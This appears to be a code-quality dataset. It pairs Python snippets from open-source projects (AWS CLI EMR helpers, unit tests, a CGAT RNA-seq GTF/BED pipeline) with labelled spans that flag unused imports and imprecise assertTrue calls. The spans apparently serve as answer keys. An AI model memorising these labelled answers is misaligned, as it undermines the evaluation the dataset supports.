raise NoCredentialsError()\n\n client = session.create_client(\n 'emr', region_name=region_name, endpoint_url=endpoint_url,\n verify=verify)\n LOG.debug('Calling ' + str(operation_name))\n return getattr(client, operation_name)(**parameters)", "metadata": "root.call", "header": "['module', '___EOS___']", "index": 155 }, { "content": "def get_example_file(command):\n return open('awscli/examples/emr/' + command + '.rst')", "metadata": "root.get_example_file", "header": "['module', '___EOS___']", "index": 170 }, { "content": "def dict_to_string(dict, indent=2):\n return json.dumps(dict, indent=indent)", "metadata": "root.dict_to_string", "header": "['module', '___EOS___']", "index": 174 }, { "content": "def get_client(session, parsed_globals):\n return session.create_client(\n 'emr',\n region_name=get_region(session, parsed_globals),\n endpoint_url=parsed_globals.endpoint_url,\n verify=parsed_globals.verify_ssl)", "metadata": "root.get_client", "header": "['module', '___EOS___']", "index": 178 }, { "content": "def get_cluster_state(session, parsed_globals, cluster_id):\n client = get_client(session, parsed_globals)\n data = client.describe_cluster(ClusterId=cluster_id)\n return data['Cluster']['Status']['State']", "metadata": "root.get_cluster_state", "header": "['module', '___EOS___']", "index": 186 }, { "content": "def find_master_dns(session, parsed_globals, cluster_id):\n \"\"\"\n Returns the master_instance's 'PublicDnsName'.\n \"\"\"\n client = get_client(session, parsed_globals)\n data = client.describe_cluster(ClusterId=cluster_id)\n return data['Cluster']['MasterPublicDnsName']", "metadata": "root.find_master_dns", "header": "['module', '___EOS___']", "index": 192 }, { "content": "def which(program):\n for path in os.environ[\"PATH\"].split(os.pathsep):\n path = path.strip('\"')\n exe_file = os.path.join(path, program)\n if os.path.isfile(exe_file) and os.access(exe_file, os.X_OK):\n return exe_file\n\n return None", "metadata": "root.which", "header": "['module', '___EOS___']", "index": 201 }, { "content": "def call_and_display_response(session, operation_name, parameters,\n parsed_globals):\n cli_operation_caller = CLIOperationCaller(session)\n cli_operation_caller.invoke(\n 'emr', operation_name,\n parameters, parsed_globals)", "metadata": "root.call_and_display_response", "header": "['module', '___EOS___']", "index": 211 }, { "content": "def display_response(session, operation_name, result, parsed_globals):\n cli_operation_caller = CLIOperationCaller(session)\n # Calling a private method. Should be changed after the functionality\n # is moved outside CliOperationCaller.\n cli_operation_caller._display_response(\n operation_name, result, parsed_globals)", "metadata": "root.display_response", "header": "['module', '___EOS___']", "index": 219 }, { "content": "def get_region(session, parsed_globals):\n region = parsed_globals.region\n if region is None:\n region = session.get_config_variable('region')\n return region", "metadata": "root.get_region", "header": "['module', '___EOS___']", "index": 227 }, { "content": "def join(values, separator=',', lastSeparator='and'):\n \"\"\"\n Helper method to print a list of values\n [1,2,3] -> '1, 2 and 3'\n \"\"\"\n values = [str(x) for x in values]\n if len(values) < 1:\n return \"\"\n elif len(values) is 1:\n return values[0]\n else:\n separator = '%s ' % separator\n return ' '.join([separator.join(values[:-1]),\n lastSeparator, values[-1]])", "metadata": "root.join", "header": "['module', '___EOS___']", "index": 234 }, { "content": "def split_to_key_value(string):\n if string.find('=') == -1:\n return string, ''\n else:\n return string.split('=', 1)", "metadata": "root.split_to_key_value", "header": "['module', '___EOS___']", "index": 250 }, { "content": "def get_cluster(cluster_id, session, region,\n endpoint_url, verify_ssl):\n describe_cluster_params = {'ClusterId': cluster_id}\n describe_cluster_response = call(\n session, 'describe_cluster', describe_cluster_params,\n region, endpoint_url,\n verify_ssl)\n\n if describe_cluster_response is not None:\n return describe_cluster_response.get('Cluster')", "metadata": "root.get_cluster", "header": "['module', '___EOS___']", "index": 257 }, { "content": "def get_release_label(cluster_id, session, region,\n endpoint_url, verify_ssl):\n cluster = get_cluster(cluster_id, session, region,\n endpoint_url, verify_ssl)\n if cluster is not None:\n return cluster.get('ReleaseLabel')", "metadata": "root.get_release_label", "header": "['module', '___EOS___']", "index": 269 } ]

[ { "span": "from botocore.exceptions import WaiterError, NoCredentialsError", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 63 }, { "span": "from botocore import xform_name", "start_line": 22, "start_column": 0, "end_line": 22, "end_column": 31 } ]

[]

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[ { "content": "#!/usr/bin/python\n# coding=utf-8\n################################################################################\n\nfrom test import CollectorTestCase\nfrom test import get_collector_config\nfrom test import unittest\nfrom mock import Mock\nfrom mock import patch\n\nfrom diamond.collector import Collector\nfrom traceroute import TracerouteCollector\n\n################################################################################\n\n\n\n\n\n################################################################################\nif __name__ == \"__main__\":\n unittest.main()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class TestTracerouteCollector(CollectorTestCase):\n\n\n\n", "metadata": "root.TestTracerouteCollector", "header": "['module', '___EOS___']", "index": 16 }, { "content": " def setUp(self):\n config = get_collector_config('TracerouteCollector', {\n })\n\n self.collector = TracerouteCollector(config, None)\n self.collector.config['bin'] = 'dummy'\n self.collector.config['protocol'] = 'icmp'", "metadata": "root.TestTracerouteCollector.setUp", "header": "['class', 'TestTracerouteCollector', '(', 'CollectorTestCase', ')', ':', '___EOS___']", "index": 17 }, { "content": " def test_import(self):\n self.assertTrue(TracerouteCollector)", "metadata": "root.TestTracerouteCollector.test_import", "header": "['class', 'TestTracerouteCollector', '(', 'CollectorTestCase', ')', ':', '___EOS___']", "index": 25 }, { "content": " @patch.object(Collector, 'publish')\n def test_should_work_with_real_data(self, publish_mock):\n\n with patch('traceroute.Popen') as process_mock:\n with patch.object(process_mock.return_value, 'stdout') as out_mock:\n with patch.object(process_mock.return_value, 'stderr') as err_mock:\n out_mock.readline = self.getFixture('traceroute').readline\n err_mock.readline.return_value = None\n self.collector.collect()\n\n rtts = self.getFixture('rtts').getvalue().split('\\n')\n for idx, call in enumerate(publish_mock.mock_calls):\n name, args, kwargs = call\n metric_name, metric_value = args\n\n self.assertEquals(metric_name, 'yelp.RoundTripTime')\n self.assertEquals(metric_value, float(rtts[idx]))", "metadata": "root.TestTracerouteCollector.test_should_work_with_real_data", "header": "['class', 'TestTracerouteCollector', '(', 'CollectorTestCase', ')', ':', '___EOS___']", "index": 28 }, { "content": " @patch.object(Collector, 'publish_metric')\n def test_sent_dimensions(self, publish_metric_mock):\n\n with patch('traceroute.Popen') as process_mock:\n with patch.object(process_mock.return_value, 'stdout') as out_mock:\n with patch.object(process_mock.return_value, 'stderr') as err_mock:\n out_mock.readline = self.getFixture('traceroute').readline\n err_mock.readline.return_value = None\n self.collector.collect()\n\n hops = self.getFixture('hops').getvalue().split('\\n')\n for idx, call in enumerate(publish_metric_mock.mock_calls):\n name, args, kwargs = call\n metric = args[0]\n hop, ip = hops[idx].strip().split('|')\n if '*' not in ip:\n self.assertEquals(metric.dimensions, {\n 'hop': hop,\n 'ip': ip,\n })\n else:\n self.assertEquals(metric.dimensions, {\n 'hop': hop,\n })", "metadata": "root.TestTracerouteCollector.test_sent_dimensions", "header": "['class', 'TestTracerouteCollector', '(', 'CollectorTestCase', ')', ':', '___EOS___']", "index": 46 }, { "content": " @patch.object(Collector, 'publish')\n def test_should_fail_gracefully(self, publish_mock):\n\n with patch('traceroute.Popen') as process_mock:\n with patch.object(process_mock.return_value, 'stdout') as out_mock:\n with patch.object(process_mock.return_value, 'stderr') as err_mock:\n with patch.object(self.collector.log, 'error') as error_logger:\n err_mock.readline.return_value = 'Failed to run collector'\n self.collector.collect()\n\n error_logger.assert_called_once_with('Error running traceroute process: Failed to run collector')\n self.assertPublishedMany(publish_mock, {})", "metadata": "root.TestTracerouteCollector.test_should_fail_gracefully", "header": "['class', 'TestTracerouteCollector', '(', 'CollectorTestCase', ')', ':', '___EOS___']", "index": 71 } ]

[ { "span": "from mock import Mock", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 21 } ]

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[ { "content": "\"\"\"The following imports allow these classes to be imported via\nthe splunklib.modularinput package like so:\n\nfrom splunklib.modularinput import *\n\"\"\"\nfrom argument import Argument\nfrom event import Event\nfrom event_writer import EventWriter\nfrom input_definition import InputDefinition\nfrom scheme import Scheme\nfrom script import Script\nfrom validation_definition import ValidationDefinition", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]

[ { "span": "from argument import Argument", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 29 }, { "span": "from event import Event", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 23 }, { "span": "from event_writer import EventWriter", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 36 }, { "span": "from input_definition import InputDefinition", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 44 }, { "span": "from scheme import Scheme", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 25 }, { "span": "from script import Script", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 25 }, { "span": "from validation_definition import ValidationDefinition", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 54 } ]

[]

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[ { "content": " def testClusters(self):\n clusters = self.c.get_all_clusters()\n self.assertTrue(len(clusters)>0)", "metadata": "root.EcsReadOnlyTest.testClusters", "header": "['class', 'EcsReadOnlyTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 35 }, { "content": " def testInstances(self):\n instances = self.c.get_all_instance_status()\n instanceids = self.c.get_all_instance_ids()\n self.assertEqual([i.instance_id for i in instances], instanceids)\n inst = self.c.get_instance(instanceids.pop())\n self.assertTrue(inst is not None)", "metadata": "root.EcsReadOnlyTest.testInstances", "header": "['class', 'EcsReadOnlyTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 39 }, { "content": " def testDescribeDisks(self):\n disks = self.c.describe_disks()\n self.assertTrue(len(disks)>0)", "metadata": "root.EcsReadOnlyTest.testDescribeDisks", "header": "['class', 'EcsReadOnlyTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 52 }, { "content": " def testDescribeSnapshots(self):\n iid = self.c.get_all_instance_ids().pop()\n disk = self.c.describe_instance_disks(iid).pop()\n snaps = self.c.describe_snapshots(iid, disk)\n if len(snaps)>0:\n snap = self.c.describe_snapshot(snaps.pop())\n self.assertTrue(snap is not None)", "metadata": "root.EcsReadOnlyTest.testDescribeSnapshots", "header": "['class', 'EcsReadOnlyTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 56 }, { "content": " def testDescribeImages(self):\n imgs = self.c.describe_images()\n self.assertTrue(len(imgs)>0)", "metadata": "root.EcsReadOnlyTest.testDescribeImages", "header": "['class', 'EcsReadOnlyTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 64 }, { "content": " def testSecurityGroups(self):\n groups = self.c.describe_security_groups()\n gids = self.c.get_security_group_ids()\n self.assertEqual([g.security_group_id for g in groups], gids)\n group = self.c.get_security_group(gids.pop())\n self.assertTrue(group is not None)", "metadata": "root.EcsReadOnlyTest.testSecurityGroups", "header": "['class', 'EcsReadOnlyTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 68 } ]

[ { "span": "self.assertTrue(len(clusters)>0)", "start_line": 37, "start_column": 8, "end_line": 37, "end_column": 40 }, { "span": "self.assertTrue(inst is not None)", "start_line": 44, "start_column": 8, "end_line": 44, "end_column": 41 }, { "span": "self.assertTrue(len(disks)>0)", "start_line": 54, "start_column": 8, "end_line": 54, "end_column": 37 }, { "span": "self.assertTrue(snap is not None)", "start_line": 62, "start_column": 12, "end_line": 62, "end_column": 45 }, { "span": "self.assertTrue(len(imgs)>0)", "start_line": 66, "start_column": 8, "end_line": 66, "end_column": 36 }, { "span": "self.assertTrue(group is not None)", "start_line": 73, "start_column": 8, "end_line": 73, "end_column": 42 } ]

[]

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[ { "content": "\tdef testRenamingPlugs( self ) :\n\n\t\tbox = Gaffer.Box()\n\t\tbox[\"user\"][\"a\"] = Gaffer.IntPlug( flags = Gaffer.Plug.Flags.Default | Gaffer.Plug.Flags.Dynamic )\n\n\t\tui = GafferUI.NodeUI.create( box )\n\n\t\tw = ui.plugValueWidget( box[\"user\"][\"a\"], lazy=False )\n\t\tself.assertTrue( w is not None )\n\n\t\tbox[\"user\"][\"a\"].setName( \"b\" )\n\n\t\tw2 = ui.plugValueWidget( box[\"user\"][\"b\"], lazy=False )\n\t\tself.assertTrue( w2 is not None )\n\t\tself.assertTrue( w2 is w )", "metadata": "root.BoxUITest.testRenamingPlugs", "header": "['class', 'BoxUITest', '(', 'GafferUITest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 119 }, { "content": "\tdef testUIForOutputPlugTypes( self ) :\n\n\t\tbox = Gaffer.Box()\n\t\tbox[\"node\"] = Gaffer.Random()\n\t\tp = box.promotePlug( box[\"node\"][\"outColor\"] )\n\n\t\tnodeUI = GafferUI.NodeUI.create( box[\"node\"] )\n\t\tboxUI = GafferUI.NodeUI.create( box )\n\n\t\tnodeWidget = nodeUI.plugValueWidget( box[\"node\"][\"outColor\"], lazy = False )\n\t\tboxWidget = boxUI.plugValueWidget( p, lazy = False )\n\n\t\tself.assertTrue( type( boxWidget ) is type( nodeWidget ) )", "metadata": "root.BoxUITest.testUIForOutputPlugTypes", "header": "['class', 'BoxUITest', '(', 'GafferUITest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 148 } ]

[ { "span": "self.assertTrue( w is not None )", "start_line": 127, "start_column": 2, "end_line": 127, "end_column": 34 }, { "span": "self.assertTrue( w2 is not None )", "start_line": 132, "start_column": 2, "end_line": 132, "end_column": 35 }, { "span": "self.assertTrue( w2 is w )", "start_line": 133, "start_column": 2, "end_line": 133, "end_column": 28 }, { "span": "self.assertTrue( type( boxWidget ) is type( nodeWidget ) )", "start_line": 160, "start_column": 2, "end_line": 160, "end_column": 60 } ]

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[ { "content": "@transform( \"*.txt\", regex(r\"(\\S+).txt\"), r\"\\1.gtf\" )\ndef convertTxtToGtf( infile, outfile ):\n '''Convert txt to Gtf'''\n track = P.snip( os.path.basename(infile), \".txt\" )\n statement = '''cat %(infile)s \n | awk 'OFS=\"\\\\t\" {print \"chr\"$3,\"rnaseq\",\"exon\",$4,$5,0,substr($6,0,1),\".\",\"transcript_id \\\\\"\"$1\"\\\\\"; gene_id \\\\\"\"$1\"\\\\\"; exon_number \\\\\"\"substr($2,20,2)\"\\\\\"; \"}' \n | sed s/0\\\\\\\\t1\\\\\\\\t\\./0\\\\\\\\t+\\\\\\\\t\\./g | sed s/chrUltra/Ultra/ | sed s/chrContig/Contig/ > %(outfile)s'''\n P.run()", "metadata": "root.convertTxtToGtf", "header": "['module', '___EOS___']", "index": 142 }, { "content": "@transform( convertTxtToGtf, regex(r\"(\\S+).gtf\"), r\"\\1.transcripts.gtf\" )\ndef getGtfStrandedTranscripts( infile, outfile ):\n '''join exons to get transcripts from GTF file'''\n track = P.snip( os.path.basename(infile), \".gtf\" )\n statement = '''cat %(infile)s | python %(scriptsdir)s/gtf2gtf.py --join-exons | sort -k1,1 -k4,4n > %(outfile)s'''\n P.run()", "metadata": "root.getGtfStrandedTranscripts", "header": "['module', '___EOS___']", "index": 152 }, { "content": "@transform( getGtfStrandedTranscripts, suffix(\".gtf\"), \".coding.gtf\")\ndef getEnsemblCodingGeneset( infile, outfile ):\n '''identify transcrpts that overlap an ensembl coding gene '''\n ensembl_genes = PARAMS[\"ensembl_genes\"]\n ensembl_noncoding = PARAMS[\"ensembl_noncoding\"]\n # need to remove transcripts that overlap 100% with noncoding transcripts\n statement = '''cat %(infile)s | intersectBed -a stdin -b %(ensembl_genes)s -u -s \n | intersectBed -a stdin -b %(ensembl_noncoding)s -v -s -f 1 -r\n | sort -k1,1 -k4,4n > %(outfile)s;\n echo \"transcripts with ensembl coding overlap: \" > %(outfile)s.count; \n cat %(outfile)s | wc -l >> %(outfile)s.count;'''\n P.run()", "metadata": "root.getEnsemblCodingGeneset", "header": "['module', '___EOS___']", "index": 160 }, { "content": "@transform( getEnsemblCodingGeneset, suffix(\".gtf\"), \".rename.gtf\")\ndef renameTranscripts( infile, outfile ):\n '''systematically rename transcripts to remove duplicate cuffdiff names '''\n statement = '''cat %(infile)s | awk 'OFS=\"\\\\t\" {print $1,$2,$3,$4,$5,$6,$7,$8,\"transcript_id \\\\\"rnaseq_coding_transcript_\"NR\"\\\\\"; \"}' > %(outfile)s;'''\n P.run()", "metadata": "root.renameTranscripts", "header": "['module', '___EOS___']", "index": 174 }, { "content": "@transform(renameTranscripts, suffix(\".gtf\"), \".ensg.gtf\" )\ndef annotateTranscripts( infile, outfile ):\n ''' Add ensembl gene id to GTF file'''\n ensembl_genes = PARAMS[\"ensembl_genes\"]\n statement = '''cat %(infile)s \n | intersectBed -a stdin -b %(ensembl_genes)s -wa -wb -s \n | awk -F \"\\\\t\" 'OFS=\"\\\\t\" {print $1,$2,$3,$4,$5,$6,$7,$8,\"gene_id \\\\\"\"$13\"\\\\\"; \"$9}'\n | sort -k1,1 -k4,4n > %(outfile)s;'''\n P.run()", "metadata": "root.annotateTranscripts", "header": "['module', '___EOS___']", "index": 181 }, { "content": "@transform(annotateTranscripts, regex(r\"(\\S+).ensg.gtf\"), r\"all_transcripts.gtf\" )\ndef addMissingEnsemblTranscripts( infile, outfile ):\n ''' Add ensembl gene id to GTF file'''\n ensembl_transcripts = PARAMS[\"ensembl_transcripts_gtf\"]\n statement = '''cat %(infile)s \n | intersectBed -a %(ensembl_transcripts)s -b stdin -v -s -f 1 -r > missing_ensembl_transcripts.gtf;\n cat %(infile)s missing_ensembl_transcripts.gtf | sort -k1,1 -k4,4n\n > %(outfile)s;'''\n P.run()", "metadata": "root.addMissingEnsemblTranscripts", "header": "['module', '___EOS___']", "index": 192 }, { "content": "@follows( mkdir(\"geneset\") )\n@transform( addMissingEnsemblTranscripts, regex(r\"all_transcripts.gtf\"), \"geneset/transcripts.gtf.gz\" )\ndef renameTranscriptToExon( infile, outfile ):\n '''reformat transcript file for use in proj007 pipeline '''\n statement = \"\"\"cat %(infile)s | sed s/\\\\\\\\ttranscript\\\\\\\\t/\\\\\\\\texon\\\\\\\\t/g\n | gzip > %(outfile)s; \"\"\"\n P.run()", "metadata": "root.renameTranscriptToExon", "header": "['module', '___EOS___']", "index": 203 }, { "content": "@transform( getGtfStrandedTranscripts, suffix(\".gtf\"), \".noncoding.gtf\")\ndef getNoncodingGeneset( infile, outfile ):\n '''Assume that all transcripts the do not overlap with ensembl coding geneset are noncoding '''\n ensembl_transcripts = PARAMS[\"ensembl_transcripts\"]\n statement = '''cat %(infile)s | intersectBed -a stdin -b %(ensembl_transcripts)s -v -s > %(outfile)s;\n echo \"transcripts without ensembl coding overlap: \" > %(outfile)s.count; \n cat %(outfile)s | wc -l >> %(outfile)s.count;'''\n P.run()", "metadata": "root.getNoncodingGeneset", "header": "['module', '___EOS___']", "index": 215 }, { "content": "@transform( getNoncodingGeneset, suffix(\".gtf\"), \".rename.gtf\")\ndef renameNoncodingTranscripts( infile, outfile ):\n '''systematically rename transcripts to remove duplicate cuffdiff names '''\n statement = '''cat %(infile)s | awk 'OFS=\"\\\\t\" {print $1,$2,$3,$4,$5,$6,$7,$8,\"transcript_id \\\\\"rnaseq_noncoding_transcript_\"NR\"\\\\\"; \"}' > %(outfile)s;'''\n P.run()", "metadata": "root.renameNoncodingTranscripts", "header": "['module', '___EOS___']", "index": 225 }, { "content": "@transform(renameNoncodingTranscripts, suffix(\".gtf\"), \".ensg.gtf\" )\ndef annotateNoncodingTranscripts( infile, outfile ):\n ''' Add ensembl gene id to GTF file'''\n ensembl_noncoding = PARAMS[\"ensembl_noncoding_genes\"]\n statement = '''intersectBed -a %(infile)s -b %(ensembl_noncoding)s -wa -wb -s \n | awk -F \"\\\\t\" 'OFS=\"\\\\t\" {print $1,$2,$3,$4,$5,$6,$7,$8,\"gene_id \\\\\"\"$13\"\\\\\"; \"$9}' > known_noncoding_exons.gtf; \n intersectBed -a %(infile)s -b %(ensembl_noncoding)s -v -s\n | awk -F \"\\\\t\" 'OFS=\"\\\\t\" {print $1,$2,$3,$4,$5,$6,$7,$8,\"gene_id \\\\\"novel_gene_\"NR\"\\\\\"; \"$9}' > novel_noncoding_transcripts.gtf; \n cat known_noncoding_exons.gtf novel_noncoding_transcripts.gtf | sort -k1,1 -k4,4n\n > %(outfile)s;'''\n P.run()", "metadata": "root.annotateNoncodingTranscripts", "header": "['module', '___EOS___']", "index": 232 }, { "content": "@transform(annotateNoncodingTranscripts, regex(r\"(\\S+).ensg.gtf\"), r\"all_noncoding_transcripts.gtf\" )\ndef addMissingNoncodingTranscripts( infile, outfile ):\n ''' Add ensembl gene id to GTF file'''\n ensembl_noncoding = PARAMS[\"ensembl_noncoding_gtf\"]\n statement = '''intersectBed -a %(ensembl_noncoding)s -b %(infile)s -v -s -f 1 -r > missing_ensembl_noncoding_transcripts.gtf;\n cat %(infile)s missing_ensembl_noncoding_transcripts.gtf | sort -k1,1 -k4,4n\n > %(outfile)s;'''\n P.run()", "metadata": "root.addMissingNoncodingTranscripts", "header": "['module', '___EOS___']", "index": 245 }, { "content": "@transform( addMissingEnsemblTranscripts, suffix(\".gtf\"), \".tab\" )\ndef transcriptGtfToTab( infile, outfile ):\n '''Copy replicated Bed files generated by capseq pipline to geneset-specific output directory'''\n statement = '''cat %(infile)s | python %(scriptsdir)s/gtf2tsv.py -f --log=%(outfile)s.log | awk '{if (NR==1) {print $0\"\\\\tgene_biotype\\\\tgene_name\"} else {print $0\"\\\\tprotein_coding\\\\tunknown\"}}' > %(outfile)s'''\n P.run()", "metadata": "root.transcriptGtfToTab", "header": "['module', '___EOS___']", "index": 258 }, { "content": "@transform( addMissingNoncodingTranscripts, suffix(\".gtf\"), \".tab\" )\ndef noncodingGtfToTab( infile, outfile ):\n '''Copy replicated Bed files generated by capseq pipline to geneset-specific output directory'''\n statement = '''cat %(infile)s | python %(scriptsdir)s/gtf2tsv.py -f --log=%(outfile)s.log | awk '{if (NR==1) {print $0\"\\\\tgene_biotype\\\\tgene_name\"} else {print $0\"\\\\tnoncoding\\\\tunknown\"}}' > %(outfile)s'''\n P.run()", "metadata": "root.noncodingGtfToTab", "header": "['module', '___EOS___']", "index": 265 }, { "content": "@follows(transcriptGtfToTab, noncodingGtfToTab)\n@merge( \"*.tab\", \"transcript_info.tab\" )\ndef mergeTranscriptInfo( infiles, outfile ):\n '''Copy replicated Bed files generated by capseq pipline to geneset-specific output directory'''\n inlist = \" \".join(infiles)\n statement = '''cat %(inlist)s | awk '{if (NR==1 || $1 != \"contig\") {print $0}}' > %(outfile)s'''\n P.run()", "metadata": "root.mergeTranscriptInfo", "header": "['module', '___EOS___']", "index": 272 }, { "content": "@transform( mergeTranscriptInfo, suffix(\".tab\"), \".tab.load\" )\ndef loadTranscripts( infile, outfile ):\n '''load GTF file into database '''\n headers = \"contig,source,feature,start,end,score,strand,frame,gene_id,transcript_id,gene_biotype\"\n statement = \"\"\"cat %(infile)s | python ~/src/csv2db.py \n --database=%(database)s\n --table=transcript_info\n --index=gene_id\n --index=contig,start\n --index=transcript_id\n > %(outfile)s; \"\"\"\n P.run()", "metadata": "root.loadTranscripts", "header": "['module', '___EOS___']", "index": 281 }, { "content": "@follows( mkdir(\"geneset\") )\n@transform(getEnsemblCodingGeneset, regex(r\"(\\S+).coding.gtf\"), r\"geneset/\\1.genes.bed\" )\ndef buildGeneIntervals( infile, outfile ):\n ''' Merge all transcripts per gene (including utr) to get start and stop \n coordinates for every protein-coding gene and store in a GTF file'''\n ensembl_genes = PARAMS[\"ensembl_genes_gtf\"]\n statement = '''cat %(ensembl_genes)s %(infile)s | mergeBed -i stdin -s -n \n | awk 'OFS=\"\\\\t\" {print $1,$2,$3,\"gene\"NR,$4,$5 }'\n | python %(scriptsdir)s/bed2bed.py --method=filter-genome --genome-file=%(genome_dir)s/%(genome)s --log %(outfile)s.log\n | sort -k1,1 -k2,2n > %(outfile)s;'''\n P.run()", "metadata": "root.buildGeneIntervals", "header": "['module', '___EOS___']", "index": 298 }, { "content": "@transform(buildGeneIntervals, regex(r\"geneset/(\\S+).genes.bed\"), r\"geneset/genes.bed\" )\ndef annotateGeneIntervals( infile, outfile ):\n ''' Add ensembl gene id to GTF file'''\n ensembl_genes = PARAMS[\"ensembl_genes\"]\n statement = '''cat %(infile)s \n | intersectBed -a stdin -b %(ensembl_genes)s -wa -wb -s \n | awk 'OFS=\"\\\\t\" {print $1,$2,$3,$10,$5,$6}' \n | sort -k1,1 -k2,2n > %(outfile)s;'''\n P.run()", "metadata": "root.annotateGeneIntervals", "header": "['module', '___EOS___']", "index": 311 }, { "content": "@transform(annotateGeneIntervals, regex(PARAMS['interface_genic_bed']), PARAMS['interface_upstream_flank_bed'] )\ndef buildUpstreamFlankBed( infile, outfile ):\n ''' build interval upstream of gene start for each entry in bed file'''\n window=PARAMS[\"geneset_flank\"]\n faidx=PARAMS[\"faidx\"]\n statement = '''flankBed -i %(infile)s -g %(faidx)s -l %(window)s -r 0 -s \n | python %(scriptsdir)s/bed2bed.py --method=filter-genome --genome-file=%(genome_dir)s/%(genome)s --log %(outfile)s.log > %(outfile)s'''\n P.run()", "metadata": "root.buildUpstreamFlankBed", "header": "['module', '___EOS___']", "index": 322 }, { "content": "@transform(annotateGeneIntervals, regex(PARAMS['interface_genic_bed']), PARAMS['interface_downstream_flank_bed'] )\ndef buildDownstreamFlankBed( infile, outfile ):\n ''' build interval downstream of gene start for each entry in bed file'''\n window=PARAMS[\"geneset_flank\"]\n faidx=PARAMS[\"faidx\"]\n statement = '''flankBed -i %(infile)s -g %(faidx)s -l 0 -r %(window)s -s \n | python %(scriptsdir)s/bed2bed.py --method=filter-genome --genome-file=%(genome_dir)s/%(genome)s --log %(outfile)s.log > %(outfile)s'''\n P.run()", "metadata": "root.buildDownstreamFlankBed", "header": "['module', '___EOS___']", "index": 332 }, { "content": "@merge((annotateGeneIntervals, buildUpstreamFlankBed, buildDownstreamFlankBed), os.path.join(\"geneset\",PARAMS['interface_intergenic_bed']) )\ndef buildIntergenicBed( infiles, outfile ):\n ''' Genomic regions not associated with any other features'''\n inlist = \" \".join(infiles)\n statement = '''cat %(inlist)s | complementBed -i stdin -g %(faidx)s \n | python %(scriptsdir)s/bed2bed.py --method=filter-genome --genome-file=%(genome_dir)s/%(genome)s --log %(outfile)s.log > %(outfile)s'''\n P.run()", "metadata": "root.buildIntergenicBed", "header": "['module', '___EOS___']", "index": 342 }, { "content": "@transform((annotateGeneIntervals,buildUpstreamFlankBed,buildDownstreamFlankBed,buildIntergenicBed), suffix(\".bed\"), \".gtf\" )\ndef convertBedToGtf( infile, outfile ):\n ''' convert bed files to GTF'''\n statement = '''cat %(infile)s | python %(scriptsdir)s/bed2gff.py --as-gtf | grep -v \"#\" > %(outfile)s'''\n P.run()", "metadata": "root.convertBedToGtf", "header": "['module', '___EOS___']", "index": 351 }, { "content": "@transform(addMissingEnsemblTranscripts, regex(r\"all_transcripts.gtf\"), os.path.join(\"geneset\",PARAMS[\"interface_tss_bed\"]) )\ndef buildTranscriptTSS( infile, outfile ):\n '''annotate transcription start sites from reference gene set.\n Similar to promotors, except that the witdth is set to 1. '''\n statement = \"\"\"\n cat < %(infile)s \n | python %(scriptsdir)s/gff2gff.py --sanitize=genome --skip-missing --genome-file=%(genome_dir)s/%(genome)s --log=%(outfile)s.log \n | python %(scriptsdir)s/gtf2gff.py --method=promotors --promotor=1 --genome-file=%(genome_dir)s/%(genome)s --log=%(outfile)s.log \n | python %(scriptsdir)s/gff2bed.py --is-gtf --name=transcript_id --log=%(outfile)s.log \n | python %(scriptsdir)s/bed2bed.py --method=filter-genome --genome-file=%(genome_dir)s/%(genome)s --log %(outfile)s.log\n | gzip\n > %(outfile)s \"\"\"\n P.run()", "metadata": "root.buildTranscriptTSS", "header": "['module', '___EOS___']", "index": 361 }, { "content": "@follows( convertBedToGtf )\n@files( \"geneset/genes.gtf\", os.path.join(\"geneset\", PARAMS[\"interface_tss_gene_bed\"]) )\ndef buildGeneTSS( infile, outfile ):\n '''create a single TSS for each gene'''\n statement = \"\"\"\n cat %(infile)s \n | python %(scriptsdir)s/gff2gff.py --sanitize=genome --skip-missing --genome-file=%(genome_dir)s/%(genome)s --log=%(outfile)s.log \n | python %(scriptsdir)s/gtf2gff.py --method=promotors --promotor=1 --genome-file=%(genome_dir)s/%(genome)s --log=%(outfile)s.log \n | python %(scriptsdir)s/gff2bed.py --is-gtf --name=gene_id --log=%(outfile)s.log \n | python %(scriptsdir)s/bed2bed.py --method=filter-genome --genome-file=%(genome_dir)s/%(genome)s --log %(outfile)s.log\n | gzip\n > %(outfile)s \"\"\"\n P.run()", "metadata": "root.buildGeneTSS", "header": "['module', '___EOS___']", "index": 376 }, { "content": "@transform( addMissingEnsemblTranscripts, regex(r\"all_transcripts.gtf\"), os.path.join(\"geneset\",PARAMS[\"interface_tss_gene_interval_bed\"]) )\ndef buildGeneTSSInterval( infile, outfile ):\n '''create a single interval that encompasses all annotated TSSs for a given gene'''\n statement = \"\"\"\n cat < %(infile)s \n | python %(scriptsdir)s/gff2gff.py --sanitize=genome --skip-missing --genome-file=%(genome_dir)s/%(genome)s --log=%(outfile)s.log \n | python %(scriptsdir)s/gtf2gff.py --method=promotors --promotor=1 --genome-file=%(genome_dir)s/%(genome)s --log=%(outfile)s.log \n | sed s/\\\\\\\\ttranscript\\\\\\\\t/\\\\\\\\texon\\\\\\\\t/g \n | python %(scriptsdir)s/gtf2gtf.py --merge-transcripts --log=%(outfile)s.log \n | python %(scriptsdir)s/gff2bed.py --is-gtf --name=transcript_id --log=%(outfile)s.log \n | python %(scriptsdir)s/bed2bed.py --method=filter-genome --genome-file=%(genome_dir)s/%(genome)s --log %(outfile)s.log\n | gzip\n > %(outfile)s \"\"\"\n P.run()", "metadata": "root.buildGeneTSSInterval", "header": "['module', '___EOS___']", "index": 391 }, { "content": "@transform( addMissingNoncodingTranscripts, regex(r\"(\\S+).gtf\"), os.path.join(\"geneset\",PARAMS[\"interface_tss_gene_noncoding_bed\"]) 